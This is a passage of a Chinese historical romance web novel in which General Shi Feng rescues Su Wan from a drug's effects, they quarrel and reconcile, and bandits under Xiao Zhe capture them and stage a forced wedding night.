晴雷握住腰间雁翎刀，剑眉挺了挺，“遵命。”
时枫俯身钻进石洞，初极狭，仅容一人通行。入数十丈，豁然开朗。内有一潭，水波粼粼，瀑布挂川，涎玉沫珠。上通天光，星月高低宿水。洞中钟乳石林立，若有千年积淀，映月之光如水银倾泻。深潭湍流，阴冷莫测，石桥横卧水面。
时枫步上石桥，选取临水平整位置，轻轻卸下被卷。
大手一扬，掀开被衾，露出一尊白玉雕像。
苏绾被束缚的身体骤然获得解放，满心止不住的欢喜。她面色绯红，檀口微张，不断呻吟，伸出玉臂，呼唤道：“我的……希望......”
时枫怔怔地睇着她，心里有些犹豫不决。倘若她苏醒以后，还要责怪他翻脸无情，那他岂不是弄巧成拙？何必给自己找麻烦？直接给她泄火，不是轻而易举？
脑子里塞满疑问，着实难倒这位叱咤沙场的大将军，浴血战场都没他这般心力交瘁。
可他不愿再做强迫她的恶鬼，他要保护他的女人。
踌躇半晌，时枫狠狠啐了一口，老子才不是软怂。
“苏绾，莫怪我无情。”
时枫闭上眼睛，深吐一口气，大掌捏着她的臂膀，猛地提起她整个身子，径直投入碧水深潭。
万年平静遽然被打破，生出层层漩涡状涟漪，自中心向外快速扩散。
苏绾陡然深陷冰冷潭水中，下意识地拼命挣扎踢打，拍打碎浪翻涌，好似落水小兽，用尽生命挣脱水潭束缚。
时枫半膝跪立桥边，一手摁着她头顶，将她浸入水面，另一手擎着她肩膀，防止她溺水。他神情专注，凤眸紧紧落在苏绾身上，不敢出一丝差错。
苏绾不得起身，闭着眼睛胡乱抓挠，指甲深深陷入皮肉，不知呛了多少口水。嘴里不住的咳嗽，呜咽哭嚎，声音凄厉如鬼泣。
“啊——”
潭水寒凉砭骨，拍打着她早已迷惘的神智，涌进全身每处毛孔，涤荡着身体内的污浊。乌发披散，遮住那双黯淡的眼，露出惨白的脸颊。面上红晕已退却，月光映衬下，好似一张狰狞鬼脸。那两片薄薄的唇，却越发红润起来，宛如两道洇润血痕。
仅有的一点意识慢慢荡离身体，苏绾感觉自己变成一朵雪花，轻盈洁白，褪去一身尘埃。
她渐渐不再响动。
时枫睇着手里的那朵寒酥，逐渐溶入水中，再也不见。他蓦然感到胸闷，一种从未有过的窒息感油然而生，让他几乎透不过气。他重重地呼吸吐纳，心里仿佛被割了道口子，汩汩地流着血。
“苏绾，都是我的错，我没有尽到利剑的职责。”
“在你最绝望的时刻，手里却没有防身的武器。”
“我保证，再不会让恶鬼靠近你半步，伤害你一根头发。”
“我会永远保护你，直至你先放手。”
男人的头无力地垂着，仿佛战场挫败的将军，颓丧而萎靡。
月影自天穹洒落，给玄色衣袍披上轻纱。四周阒寥无声，黑暗且混沌，唯有两颗跳动的心，扑通扑通，向尘世宣告它们存在的意义。
不知过了多久。
冰凉的潭水浸润苏绾的神智，合欢散药力逐渐式微。数不清的意识碎片正慢慢汇聚，靠拢，联结，拼接成完整的脉络。
脑海里闪现一幅又一幅图画，有温如初桃花眼眸，和他邪恶笑容；亦有皇后放浪形骸，以及数不清的陌生且贪婪的登徒子；还有深宫内清风朗月的一抹凉白身影，满脸无奈的笑容。
画面渐渐模糊，终又化为缕缕烟尘殆尽。
又一幅图画浮现轮廓，逐渐清晰，纤毫毕现，那画里只有一挺高大身影，身穿玄色窄袖圆领袍，脸色铁青，凤眸清冷，眸底寸寸结满摄人心魄的寒霜。
苏绾睁着大大的眼睛，眼底蓄满热切的泪水，她张了张嘴，想呼唤他的名字，却说不出口。
男人居高临下睇着她，洞隐烛微，敏锐地察觉到她的眸色变化，双手搂住她的薄肩，用力一提，将她倏然抱离水面。
“啊。”苏绾短促地惊叫，下一刻却被他搂进怀里，以身体的温暖紧紧贴着她。
“吃到教训没有？”语气焦急，却不是为寻找答案。
苏绾呆呆地凝望着他，伸出玉臂去够他的俊脸。这次，时枫没有躲避，随她摸个够。
大颗大颗泪珠划过脸颊，苏绾哭道：“你来了。”
时枫一愣，疑心她又有些疯痴，轻声道：“嗯。”
“为何来得这样迟？”佳人怨嗔道。
时枫咬了咬牙，“也不算迟，你不是好好的？”
苏绾嗫嚅道：“我不好，全身上下没有一处是好的。我烂掉了，像块脓肉，再也好不了了。”
时枫心底抽搐一下，紧紧揽她入怀，“胡说。你是最好的。”
眼泪洇湿衣衫，佳人心碎道：“你又骗我。你总是骗我，之前好几次都是。我恨死你了。”
时枫梦呓道：“没有，我从来不骗人。”
苏绾哭道：“你别走，我好害怕。”
时枫的心，豁然贯通，他搂着佳人，喃喃道：“我不走，我不走，永远都不离开你。”
螓首埋进宽广胸膛，聆听那充满蓬勃生机的心跳，给人温暖又安心的感受，苏绾渐渐地失去知觉。
月白风清，一盏天灯悬挂暮色，让雾气氤氲之地，泛起光晕。
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又不知过了多久，苏绾慢慢苏醒，休整大半夜，精神状态好了许多，脸颊恢复红润。
她睁开眼，看见面前侧卧的男人，他的睫毛浓重黑长，鼻梁高挺，唇线分明，剑眉斜飞，面部轮廓完美不可挑剔。她突然意识到，他的卖相也不赖，甚至还有点好看。
睡着的时候，似一尊漆木雕像，安详沉稳，人畜无害；醒来以后，又变成一条黑狗，冷戾阴鸷，仿佛要吃人。
想到这里，苏绾忍不住将他腹诽一百遍，恨不得攥着臂膀狠狠咬他一口。
“看够了没有？”男人阖合双眼，沉声道。
苏绾吓得炸毛，赶紧阖眼装睡，停了几个呼吸，不见对方有反应，她偷偷眯起半边眼角，窥见那只猎兽平躺石桥，呼吸均匀稳重。
苏绾松了一口气，葱指拂胸口，心脏咚咚跳得厉害，也不知道自己怕什么。正回神间，身子忽然离地半尺，被人拢着腿弯儿，卷着铺盖卷儿，拦腰抱在怀里。
“你干什么？”苏绾急得惊叫。
男人勾了勾唇，“你偷看我，占了本将军的便宜，我要你还回来。”说着，不顾一切去衔苏绾小巧的耳珠，野兽般狂咬。
苏绾挣扎不得，脸颊羞红，喘息道：“放开我，你这禽兽。”
“我是禽兽？”男人停下进攻的步伐，不悦地蹙了蹙浓眉。
“若非本将军，你早就死了。”男人冷冷道。
苏绾拉紧罩着身体的薄被，她认得出来，那是温府的东西，被角绣着朱红色的“温”字。
温府发生的一切，好像画片，历历在目。温如初狰狞的笑容，与温夫人麻木不仁的眼神，令她不寒而栗。她仿佛掉进十八层地狱，阎罗小鬼黑白无常紧着要抓捕她。她拼命地逃跑，在无尽的血路上狂奔。两旁伸出无数手脚，拉扯羁绊她，她尖叫着“救命”，跌跌撞撞，一转身，却又跌入万丈深渊……
“苏绾！”
忽然一声怒吼，天雷震怒，将苏绾拉回现实。苏绾抬起星眸，满眼坠泪，“时将军，奴家谢谢你。”
时枫此刻只想抽自己一个大嘴巴，明知苏绾有疯症癔症病史，他居然差点将她再一次推入深渊。假如苏绾真的犯病，那他之前的隐忍与苏绾受到的苦难，将全部付水东流。
那可太亏了。
他将苏绾身子扶正，面对面睇着她，桥边潭水倒映月光，碎银般洒落苏绾的面颊，越发显得红润可爱。
男人喉结滚了一滚，咬着牙道：“他有没有欺负你？”
苏绾摇摇头，“我没事。”
她撒谎了，身体安然无恙，可精神却遭受百般折磨与摧残，几乎割裂她的心脏，她仿佛死了一万次，又从荆棘中挣扎活过来。
时枫的心脏，也跟着割裂一万次，支离破碎，汩汩淌着鲜血。他伸手抚摸惆怅的小脸，喃喃道：“我替你杀了他。”
星眸蓦然一亮，瞬间点亮银河。
可一瞬间，光亮又黯淡，“你杀不了他。”
“怎么杀不了？你忒小看本将军。”男人挑了挑眉峰。
鲁莽真刀真枪杀人，自然是不行。他说的是，要在朝堂上，以权谋之术，给予敌人痛击。
“孙子兵法，不止作用于战场。”
男人的眼神如鹰隼般锐利，铁打的胸膛装满丘壑，运筹帷幄之中，决胜千里之外。
苏绾揉了揉眼睛，不敢置信，“说话算数！”
男人嘴角一斜，“君子无戏言。”
月光恰时而泻，落在男人身上，周身泛起光辉，衬托他如天神般伟岸。那点盈润的光辉落入苏绾的眼眸，挤走她眼角残泪，温暖她的心怀。
有他在，就有希望。
苏绾垂下眼眸，卷睫剪了剪，心事层层翻涌上来，少女展开玉臂，摆脱被衾束缚，勇敢地去够他的脖颈，如同纳征之日那样。
男人怔愣不动，霎时从脸颊到脖颈烧得通红，任凭湿软红馥的唇在各处流连戏蝶。
可他只停留一两呼吸间，便再也忍捺不住内心渴望，翻身压倒柔软的身子，尽情放纵压抑整夜的□□。
一双妙人滚来滚去，不小心滚落潭水。热气升腾便欲致云雨，冰凉潭水浇不息火热情怀。水纹一圈一圈扩大，水浪不断翻涌上来，又陷落下去，搅乱千年沉淀。
月暗送潮风，天地一双人。
50. 山匪
「春梦不胜长，忽而云雾消散，昼窗过白驹，春和景明，波澜不惊。梦里再无山水，只一片亭台楼阁景致。
时枫打眼望去，红木书桌上摆着文房四宝，整整齐齐，茶盏里的碧螺春香气袅袅。多宝阁内珍品妙玩，缥缃佛经翻卷皴裂。香炉内檀香烟纠缦，一缕茶烟透碧纱。墙上悬挂宝剑，宝石剑坠晶莹透彻。
他应五品东阁大学士温如初的邀请，前来温府书房议事。此刻他端坐桌案前，眉头拧了又拧，蹙了又蹙。
案上横陈一位美人，被剥光衣裳，作为一盘女体盛飨，展现在他面前。美人玉雪肌肤，笼罩绛红绢纱，风骨自是倾城姝。
仔细望去，那美人不是别人，正是温如初的正妻，苏绾。
时枫心内攥得紧紧，温如初的这一步明棋走得太快，入阁不到一年，即弹劾了阁老章任梁，自己取而代之。这下一步，恐怕是欲以相同的手段，来对付他。
可是，刀他何必用她？
苏绾半裹绢丝绸被，露出月中聚雪的臂膀。如葱手指撩起一束散落青丝，挽向耳后。腮边红润如霞，朱唇不知出于兴奋，还是恐惧，微微半启，小舌隐隐若现。
她舔了舔嘴唇，甜甜笑道：“时将军不喜欢吗？”
时枫摩挲窄袖袍子护腕，镶嵌墨玉翡翠闪着冷光，冷冷说道：“我不狎妓。”
“时将军，你忒小看奴家。”苏绾站起身，如玉锁骨在阳光照耀下，散发锆石般晶彩光泽。玉足缓缓跬步向前，距离时枫不过一臂之遥，
“奴家不为求财，自然谈不上卖身。不过是想借助将军的羽翼，庇护奴家周全。对于绥靖王来说，豢养一只听话的猫儿，何乐而不为呢？何不先听听奴家的筹码，再做议论不迟。”
时枫睇着她的清澈眼眸，澹如星子般纯净，与底下妖艳妩媚的春光相比，显得格格不入。那双眸子，曾浸润北海的冰凉湖水，滚下热烫的眼泪。
一滴一滴，落在他的心头。
可惜了，本为质朴美玉无瑕，陷进泥淖中不能自拔。但他不能为怜惜一朵破碎的花儿，助长别人的嚣张气焰。
他蹙了蹙剑眉，果断道：“没兴趣。”
“将军未曾同奴家彻夜触膝深谈，又怎知不会对我感兴趣？”一弯玉臂搭上他的宽阔肩膀，白皙寒凉肌肤若有似无贴近他的滚烫脖颈。
“放肆。”他猛然扼住少女咽喉，揿在梨木雕花屏风，“不要让我重复第二遍。”
少女胸口起伏，山峰跌宕，若一幅会动的风景画，触了时枫的眼。他偏过额首，目光落在屏风雕刻的一树梨花。
苏绾轻咳两下，舒展娥眉，梨涡浅笑：“将军舍不得杀我。”
笑靥明媚无邪，似一朵轻云出岫。颈间红梅点点，皆是拜他所赐。
“你只说对一半。”
男人突然潇洒回转，顺手拔掉墙壁悬挂的宝剑，在苏绾脖颈处，挽了一个剑花，霎时寒影曝射。乌发自耳根处齐刷刷截断，散做满天银河瀑布。
“念在温如初的情分，我不杀你。斩发如斩首，你当谨记在心。”时枫背过身去，声音冷得如同淬了冰。
星眸黯淡无光，苏绾道了个万福，“奴家谨遵将军命令。”
时枫咬了咬后槽牙，心中万般不忍，直叹苍天变化难料。遂杀心四起，恨不得一刀剐了温如初那孽障。又想得苏绾会跪地恳求他放手，于心又不忍。
翻来覆去，夜不能寐，猛地睁开眼。」
******
眼前水面恢复平静，星月陨落，一线天坠入一道轻薄白雾。
“你醒了？”耳边响起轻柔的话语。
时枫睨了一眼，佳人侧身枕着他的手臂，正用一汪水眸望着他。
男人深深吐出一口气。
幸好是梦。
他可不要拿剑斩断她的头发，简直不是个男人。
是男人的话，怎会忍心割爱，将宝贝拱手让人？
可梦中情景历历在目，又让他感到恍惚唏嘘。
如果，梦境所言才是真相呢？
“做噩梦了？”玉手在眼前晃了一晃，“咬牙切齿的，拳头握得紧紧，恨不得捏死人。”
时枫冷笑一声，“可不是嘛，我做梦都想着，一定要逮住你这个不听话的小东西。”
他捏住一双葇荑，嗔道：“你不是很会拿捏男人吗？怎不使出你的夺命连环击，踢爆欺负你的人的□□。见了他，如同耗子见了猫，你到底在怕什么？”
苏绾枕着男人宽阔的臂弯，她夺回被捏住的双手，轻轻触碰凝结成血痂的织物，硬邦邦的，跟这个人的性格一样。
忽然视线落在胸膛前一处疤痕，一寸来长，貌似割划极深，深入肺腑。她好奇地仔细盯着伤疤看了又看，还是没搞懂是怎样造成的，莫非是拿刀锉骨剖心不成？
“你也知道，我只会那么一两招，镇得住小喽啰，却打不过大魔王。凭我自己单打独斗，早就死上无数次了。”
男人不经意拂过心口处伤疤，阻断苏绾探求的视线，大手抚摸她的眉间，眼眸沉静如夜，“你不必担心，我已经安排好所有事情。保证完成的干干净净，让他抓不住半点把柄。”
苏绾眼眸闪了闪，“他的爪牙遍布京城，不是那么容易对付的。”
时枫畅然笑了笑，“你怎么长敌人志气，灭自己威风？小小户部侍郎，能成多大气候？最多不过叫三司一起来抓我审我，本将军怕他作甚。”
苏绾翻了翻白眼，“三司会审还不够你吃一壶吗？上次苏尽欢的案子不是被都察院截□□如初的背后，可不止一个户部，毫不夸张的说，五寺六部，尽在他的掌握之下。就连内阁和司礼监，他也有本事够到。”
司礼监？时枫眼眸一沉，他的情报簿里，可没有这一截。
司礼监乃后宫爪牙，太后皇后以及皇室贵戚借此掌控朝堂一举一动，而内阁则站在皇帝一边，二司分庭抗礼。
苏尽欢一案，让时枫看到温如初同内阁的关系网络，已十分让他头疼，如今怎么又加上一条司礼监？
“关司礼监什么事？”男人疑惑道。
温如初现在还未得机会与司礼监的太监做交易，可是等到他成功那一日，就为时晚矣。
上一世，温如初借着弹劾镇南王圈地的借口，同司礼监交涉，以此打开太后皇后那边的关系网络。
正是苏绾出的主意，让他故意制造机会，在颐和园“偶遇”皇后。从此，在苏绾的协助掩护下，温如初成了皇后的“姘头”，苟且偷生长达三年之久，两人还生就子嗣。
温如初成为首辅之后，苏绾为报复司礼监对自己不逊，下令杀灭司礼监一众太监，彻底惹怒后宫。经过一番明里暗里宫斗，皇后落败上吊自尽，太后气急吐血身亡。
而温如初冷眼旁观后宫斗得昏天暗地，毒酒鸩杀皇帝，将他与皇后所生的私生子推上皇位，自己成为托孤的“辅国大臣”，坐收渔翁之利。
往事如烟，她一个字都不能泄露，任凭烟消云散。
苏绾垂下眼眸，“暂时还没线索。不怕一万，就怕万一。”
轻描淡写的态度欺骗不过时枫的眼睛，男人蹙了蹙眉，“苏绾，你到底还有多少事瞒着我？”
苏绾的回答简单干脆：“没有。”
她一贯爱以这两个字糊弄他，时枫才不信她的邪。
他从洁白脖颈下，愤然抽出已被压麻的臂膀，怒道：“没良心的东西，为了救你，本将军差点搭了半条命进去。你就是这般报答我的？一句实话都没有。”
苏绾默默转过头去，“爱信不信。”
这女人忘恩负义，翻脸不认人。一刻钟之前，两人才刚翻云覆雨，颠鸾倒凤，恩爱两不疑。这会子待他比乞丐还不如。
时枫忽然想同她掰扯掰扯，这笔交易到底值不值。他攥了攥拳，咬牙道：“你别以为自己有多厉害，玩弄所有人于股掌间。你的那点底细，早被人翻得底朝天。你说你要退婚，早干嘛去了？我得到的线报说，你为了嫁他，佛堂跪地念经祈祷，整整念了两年！我问你，你求佛求了七百日，心愿得偿否？”
“还有，纳征那日，并非你我初遇。月前醉仙楼，我明明见过你一次，你可记得当时你说过什么，做过什么？我来替你回忆一下，你说的是：‘绾绾不要办纳征提亲礼，只要念哥哥愿意娶我，绾绾别无所求。’”<
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“别无所求？啧啧。”时枫哂笑一下，“多么动听悦耳的话，我都快感动哭了。”
“现在你跟我说，没有事情瞒我？哈哈。是你疯了，还是我疯了？”
他啐了一口，恨道：“婊子无情。”
苏绾咬紧嘴唇，她没办法解释。过去那个恶毒疯狂的苏绾已经死了，现在的苏绾，经历了风霜刀剑的洗礼，又在烈火焚烧中，重获新生。
苏绾一声不吭，男人气个半死，翻身压倒苏绾，两手撑在两边，凤眸泛着狠戾的冷光，好似吃人的铁兽。
“苏绾，我只问你一句：你可是拿真心待我？”
苏绾转过脸，星眸勇敢对视铁兽冰冷的寒光，缓缓吐出一个字：“是。”
时枫阖合双眼，翻身复又躺下，嘴里呼出一口气。
他相信她。
不管她身上藏有多少秘密，是敌还是友，仅此一字足矣。
男人闭着眼，声音极其沉稳，除了略微沙哑以外，听不出任何情绪波动，“好吧，我暂且相信你一次。但你不许再跟我耍花招，否则，我会亲手杀了你。”
苏绾缩了缩身子，弓成虾背模样。
“别忘了，你身体里还有七根银针呢，难道你不想着取出来吗？谁都帮不了你，除了我。”男人没好气似的，斤斤计较道。
忽又欺身压倒苏绾，“这一遭本将军赔大发了，必须再来两次。”他挺了挺背脊，哑声道：“我要换个姿势，之前那个太费力，我不喜欢。”
他扶住苏绾坐在自己腹部，拍她的腿命令道：“动。”
苏绾气得直翻白眼，真是头喂不饱的饿狼。她起身想逃，却被大手钳住不放。
“快点，晴雷等不急要回去了。”饿狼红着眼睛催促。
晴雷打了一个喷嚏，揉了揉微微泛红的鼻尖。野外风紧，他缩了缩身子，两臂交叉胸前。
夜猿惊啼，风过草低洼地，露出几抹黑影。他们脚踩崎岖山路，来往穿梭极速向前。
沙沙风声暴露了黑影的行踪，晴雷警觉地握紧雁翎刀。
“什么人？！”侍卫厉声喝道。
月光恰时穿过云层，洒落大地银白光芒，将黑影模样显露无疑。他们身穿粗布衣褂，手握带环大刀，满脸横肉，凶悍狰狞，一看就不是良人。
领头汉子五大三粗，右眼一道疤痕贯穿，他扛着大刀向前一步，抛出两句烂大街的黑话：“此山是我开，此树是我栽。要想过此路，留下买路财。”
居然遇到山匪。
少年大喝一声：“岂有此理，看刀！”
刀身挺直，刀尖处有弧度，有反刃，因形似雁翎而得名。雁翎刀出鞘，寒光凝雪彩，杀人于无形。雪白锋刃带着破风之声，与山匪的大刀碰撞，发出清脆的撞击声。
山匪虽然人多势众，但对方身手敏捷，刀法高超，一时间竟难以近身。月光透过树梢，洒在这场战斗上，侍卫的身影在月光下显得格外矫健。他时而跃起，时而翻滚，巧妙地躲避山匪们的攻击，同时寻找反击的机会。
战斗持续了许久，刀下已经倒下了好几个山贼。刀疤脸见状，怒吼一声，挥舞着手中的大刀，亲自加入战斗。他的力气惊人，每一刀都带着千钧之力，晴雷不得不全力以赴，与之周旋。
最终，在一次巧妙的闪避后，晴雷找到机会，一刀刺穿刀疤脸的胸膛，刀疤脸一声不吭倒下。其他山匪见势不妙，吹了声口哨，声音婉转悠长，转了几个来回，谷间深处响起回应。
顷刻间，数十位山匪黑暗中蠢蠢欲动。
晴雷撇了撇嘴，雁翎刀在靴边一抹，擦去刀刃的血迹。双手握紧腰刀，明眸一沉，眸底露出血色。
洞内时枫听到外面动静，知道出事了。他冷静地起身穿好衣服，扔给苏绾一套干净的男子服饰，“穿上这个，不要声张。”
苏绾麻利地穿戴整齐，月色寒潮映照，举手投足端地一副潇洒美少年模样，看得时枫眼睛发直，竟忘记外面的剑拔弩张。
他上前一步，揽住美少年入怀，哑着嗓子道：“下次我要看你穿着这身衣服，伺候本将军。”
美少年狠狠瞪了他一眼，“有病。”
51. 洞房
“别来无恙，时大将军。”
圆月傍关山，轻烟拂流水，竹月色襕衫绢纱袍子水中浸染，萤光点点。细长的眼眸流转，悦色波光潋滟。
公子甩了甩襕衫袍子沾染的晨露，折扇掌中敲了敲，颇有兴致招呼道：“我道是哪里来的痴男怨女，荒唐洞里闹荒唐。原来故友重逢，萧某有失远迎，还请兄台海涵。”
熟悉的眼波在苏绾身上滚了又滚，令她感到十分不自在，轻轻退却一步，缩在男人的背影里。
那点点胆怯猫爪子似的，挠了挠襕衫公子的心头，萧染嘴角一斜，似笑非笑道：“啧啧，萧某竟不知，时兄的癖好，如此别具一格。佩服佩服。”
时枫负手而立，冷哼一声，“夜路走多了，遇鬼在所难免。”凤眸睥睨萧染，“这一遭，你又想耍什么花招？”
萧染停下手中折扇，眸色闪亮，夹杂着蓄谋已久的兴奋，“那还用问吗？当然是成全你俩，月下牵手，拜堂成亲。”
“你说什么？！”苏绾大惊。
男人凤眸沉了沉。
山谷间无数火把燃起，照得周围亮如白昼，宛若天灯盏盏，一路扶摇直上，连接天穹宫阙。
天灯尽处，崇山峻岭环绕，粗壮圆木绑成一排围墙，大门布满生锈的铁钉和木刺。城墙上的火把发出微弱的光芒，夜风摇曳，投射出长长的、扭曲的影子。
侍卫晴雷浑身遭麻绳捆绑，反剪双手，一脸生无可恋，他边走边嘟囔：“堂堂京郊三万驻兵统领，竟遭几个毛贼生擒，沦为阶下囚，再也没有比这更窝囊的。”
他抬起桀骜不驯的额头，向时枫抱怨道：“爷怎么就着了那疯痞的道？你我杀出一条血路，总好过束手就擒。”
“闭上你的鸟嘴，你杀出血路跑了，剩下的人咋办？长翅膀飞出去不成？”时枫嗔道。
晴雷没好气似的回道：“这可不像爷当年在漠南战匈奴兵的时候了，比现在敌人多海了去了，也没见爷的眉毛抖一抖。”
凭他一人，剿灭几十山匪不算什么难事，“冷面阎罗”怕过谁？难就难在，他并非孤身一人。
他得保护他的女人啊。
时枫按下嗓音，低声吩咐晴雷道：“以不变应万变，看那疯痞能耍何把戏。”
言毕，又像想起什么似的，男人故意凑到佳人身旁，蹭了蹭苏绾的左臂，安抚她道：“你莫慌，我手里有这山寨的地图，早已摸清整座山的地形地貌，他们不能把你怎么样，我自会找机会救你出去。”
苏绾闻言一颤，抬头惊道：“你何时……”
时枫得意地勾了勾唇，“你以为你的男人只会吹牛吗？”话音既落，忽然意识到自己措辞不当，男人猛然挺直身板，面皮微热显尴尬。
苏绾却未注意到不妥，她忽然有了主意，“既然如此，我们去马厩找几匹马，趁天黑逃走吧。”
“你会骑马？”时枫忽然问道。
她一个文官府上的千金小姐，竟懂驭马之术，全京城也找不出几个，着实不寻常。
的确不寻常，因为苏绾的马术是她在御马监学会的。
御马监表面与兵部及督抚共执兵柄，实为内廷“枢府”，管理草场和皇庄、经营皇店，与户部分理财政，为朝廷的“内管家”。
上一世，温如初以户部侍郎名义，通过贿赂绑定利益等手段，早早打通御马监的关系，间接掌控皇宫内部的兵权，而锦衣卫则形同虚设。
苏绾把持后宫专权，巧设毒计利用御马监打倒锦衣卫，从某种意义上讲，也是打败一品威武将军时枫在皇庭内部的上直卫势力。
借助苏绾的扶持，温如初一路蚕食攻克内阁、御马监、锦衣卫、司礼监各方势力，最终成为独霸朝廷的辅国大臣，成为真正意义上的掌权者。
苏绾低下头，借着月光掩映，含糊其辞，“当然不要我亲自骑马呀，你载着我不就行了。”
时枫本欲再追问几句，又想起自己既已决定信任她，断不该反复不停怀疑女人，实在有失风度。
他动了动嘴唇，冷冷道：“你是我什么人，竟敢号令本将军做你的马夫，痴人说梦。”
佳人莞尔道：“才刚是谁说的？我的男人只会吹牛做牛倌，当然做不得马夫。”
留下一抹灿烂的笑意，散作满天星辰。
男人愣在原地。
这时候，寨门缓缓开启。
寨内空旷，各处张灯结彩，大红灯笼高高挂，透着一股不合时宜的诡异。山匪皆穿红戴绿，喜气洋洋，面上堆着苦笑。
山寨大王腰间系着一条红绸子，咧嘴露出两颗金牙，光灿耀眼。他单手拎着酒坛，恭恭敬敬向萧染拜道：“黑风寨全寨兄弟叩首，恭迎堂主大驾光临。”
堂主略微颔首。
山匪递上酒碗，寨主亲自斟满，双手奉上，谄媚道：“堂主吩咐的事，属下已办妥。洞房花烛齐备，婚庆宴席即刻开始。”
堂主细长眼眸逡巡一路，见那寨子四周果然渲染喜庆氛围，虽然有些格格不入，但也还算整齐。
萧染把那手中扇子轻轻摇动，眼眸乜斜道：“我自新任毒蛇堂堂主，不过一月有余，不曾有过建树，堂下各方兄弟也未认全。恐难以服众。尔等听命于我调遣，处处尽心尽力，未有懈怠。不错。本堂主自会在上峰面前，替你邀功领赏。”
寨主闻之大喜，端酒的手颤了颤，险些打破酒碗。他摇晃身体，竭力保持平衡，口中连说道：“黑风寨惟堂主马首是瞻。”
上方二人寒暄。
那边时枫听了大半，早在两个月前，他自见了老道之后，就开始着手探察“黑风寨”事宜。对山寨的基本组织架构，有了全面且初步的认识。
那寨主外号“大金牙”，早年乃跑动江湖的“人牙子”出身，因为人讲义气，做生意还算爽利，很快成为“鬼市”的名人。
后来生意越做越大，干脆寻了无主的山头，纠集鬼市闲杂人等，占山为王。打家劫舍时有发生，劫富济贫偶尔为之。在黑白无常的年代，黑风寨混得还不错。
直至两年前，时樾单枪匹马闯天关，一杆金枪单挑大半山寨，顺便将山寨关押的百姓全部释放，救了苏绾的老道就是其中之一。
各种因缘际会，时樾留下大金牙性命不死，黑风寨得以苟延残喘。这两年来，大金牙也算安分，没做什么出格的事。
至于“毒蛇堂”，时枫从未听说，也不了解所谓的“上峰”是谁，做的什么勾当。更加不清楚，为何毒蛇堂堂主萧染，对他穷追不舍。
也许，是想拿他当作“投名状”，来为自己新任堂主一职立威信。
岂有此理。
安排妥当现场的“宾客”，萧染长吁一口气，袍袖擦拭额间细汗。指挥调度上百个不守规矩的粗鄙山匪，还真不是一件容易事，堪比对牛弹琴。他这个上任新官，第一把火能不能烧破天荒，就看今晚的这场“洞房花烛夜”唱得精不精彩。
萧染吞了寨主敬奉的一碗水酒，啪得一声用力摔碎酒碗，震得寨主同一众山匪跳脚，连带熊熊火把也抖上三抖。
“痛快。”
少年砸吧砸吧檀色的唇，细长眼眸增添几分醉色，竹月襕衫袍子宽袖展开，盛情邀请道：“今夜乃时将军大喜之日，莫要冷落了新娘子，此去洞房花烛不过两步路，快着些走，春宵一刻值千金。”
疯言疯语惹恼了时枫，不禁开口怒道：“混账东西，竟敢耍弄本将军，活腻歪了。”
萧染明显一愣，“这话说的，怎么能叫耍弄？我见你二人偷鸡摸狗、畏畏缩缩窝在狗洞通奸，那多没意思？要搞就光明正大地搞嘛。可你二人本无夫妻名分，又怎能光明正大？萧某只好出面，替你们置办终身大事。”
细长眼眸卷了卷，叹道：“萧某一番用心良苦，将军不领情也就算了。人生苦短，知己难求。哎。”
言毕，襕衫袍子甩了甩，命令手下将时枫等人带去洞房。临走之前，还不忘贴心嘱咐山匪，务必打开众人身上束缚的绳索。
“没手没脚，怎么入洞房？”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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萧染抬首望向天光，但见清月落白，鸡鸣问晓，心中遗憾又增添几分。越发觉得自己惆怅雁边独行，难抵人间风月缠绵世变。踏着陷入泥淖的破碎酒碗，踯躅返回客塌，“噗”得吹熄烛火，倒头就睡。
一觉睡到天光。
所谓的“洞房花烛”，不过是一间竹屋，一根红烛，外加门口持刀把守的两名山匪。
把眼逡巡竹屋十来遍，也无法沉静聒噪的心，时枫满脑子充斥着“拜堂成亲”的荒诞想法，叮叮当当，锣鼓喧天，唢呐吹响。
他的人生，还没有做好娶妻的准备。
倘若身边多出一位红尘小娘子，午夜未央，伴他醉里挑灯看剑，潇洒浪迹天涯，也不失枉渡过此生。
男人偷偷瞥了一眼“新娘子”，对方神情泰然自若，丝毫没有慌乱迹象。
哼，她倒是没事人一样。
烛泪粘盘，葡萄堆垒。苏绾摘下金簪，酥手挑了挑烛芯，火苗重又旺盛。跳动的火焰映照腕间被麻绳勒出的红印，她甩了甩手腕，有些酥麻感。
她并非坐怀不乱的高士，才从恶鬼爪牙下逃脱，又堕入虎狼巢穴。一夜之间，大起大落。是人都要扒层皮。然而，如今却是不一样。
复仇路途坎坷，她并不孤单。
倘若那个疯子敢动她一根头发，她的利剑，会毫不留情一剑捅进对方的心脏。
她有恃无恐。
佳人细微的动作吸引了时枫的注意力，“我之前给你的药膏，你用了没？”
“没有，我不喜欢那个味道。”苏绾头也不抬答道。
男人怒道：“嫌弃我送的东西，不想活了吗？”
苏绾瞟了一眼男人，“真小家子气，不喜欢你送的东西，就不能活了吗？我也送过你一条墨金双色络子，你是不是也不喜欢？那你还给我。”说着，伸出玉手向他讨要。
大手啪得甩开她。
“谁说我不喜欢？”男人从怀里掏出那条络子，“你看这是什么？”
墨金络子映着烛火，摇摇结遐心。
苏绾却是一愣，没想到他竟然随身带着它。她蓦然感到心内一酸，有什么东西滚滚向上翻涌。
男人摩挲半晌络子，小心放回怀里。他一直贴心揣着络子，平时舍不得佩戴，生怕有磨损。毕竟采用西夏进贡丝线，及苏州十年内产出最好的丝绸，打出来的唯一墨金络子，价值三千两。
耳边飘来佳人嘲讽，“一根烂绳子，你当做宝贝一样，偏不知身边有真正的荆山玉，可笑可悲。”
令她心底泛酸的，是一坛子万年陈醋，还是满纸荒唐辛酸泪，她不得而知。
男人猛然抬起头，紧盯苏绾的眼睛，凤眸燃起炽热烈火，“上次在画舫时，我就该跟你说清楚。我的确与沈枝意定有婚约，但那是父辈在我不知情的情况下，替我指定的娃娃亲，根本算不得数。我一直当她是妹妹看待，从未有半点逾矩之心。”
清亮的眸子倒映烛火，冰心坦诚相见。心底凝结的万年寒冰，偶见冰泮瓦解。
“可她却当真了。”苏绾望着摇曳的烛光，声音彷如隔世，“总有一天，你会伤透她的心。”
被伤透心的人，也许不止一个。
两人无言对视一阵，彼此都觉得有些尴尬无味。此刻又不比刚入“洞房”之前，多了一分诡异的通融，倒真像是刚刚拜过天地高堂的夫妻。
剩下的，唯有等待撩开盖头的急切与羞赧。
忽然吹来一阵冷风，案上一豆烛火，猝然熄灭。
门外漱漱两声，紧接着竹门半开，黑暗中闪入两人影。其中一人抬脚，猛踹另一人膝盖腘窝，将其踹倒在地。
